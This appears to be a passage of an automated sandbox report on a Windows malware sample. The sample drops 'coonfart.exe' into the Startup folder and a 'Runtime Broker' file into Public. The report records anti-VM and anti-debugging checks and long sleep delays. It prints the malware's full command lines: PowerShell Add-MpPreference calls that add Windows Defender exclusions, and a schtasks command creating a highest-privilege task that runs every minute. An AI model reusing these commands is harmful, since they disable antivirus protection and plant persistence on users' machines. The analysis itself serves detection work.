Source: C:\Windows\System32\svchost.exe TID: 2256	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\Runtime Broker	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599397	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 599049	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598679	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594903	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Runtime Broker	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: coonfart.exe.0.dr	Binary or memory string: vmware
Source: coonfart.exe, 00000002.00000002.2926093012.000000001BC27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, coonfart.exe, 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, Runtime Broker.2.dr, 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, coonfart.exe.0.dr	Binary or memory string: 7X8gDsDYpUHhgFStFhjRFgDC5
Source: 80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09ED3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2911664843.000001A4D0A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2913802841.000001A4D6058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09E8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW J
Source: coonfart.exe, 00000002.00000002.2926093012.000000001BBE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Code function: 2_2_00007FFD9BAA76EA CheckRemoteDebuggerPresent,

2_2_00007FFD9BAA76EA

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Code function: 0_2_00007FF6ACE863D8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6ACE863D8

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\Public\Runtime Broker	Process token adjusted: Debug

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Code function: 0_2_00007FF6ACE863D8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6ACE863D8
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Code function: 0_2_00007FF6ACE8657C SetUnhandledExceptionFilter,	0_2_00007FF6ACE8657C
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Code function: 0_2_00007FF6ACE860F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6ACE860F0

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'coonfart.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
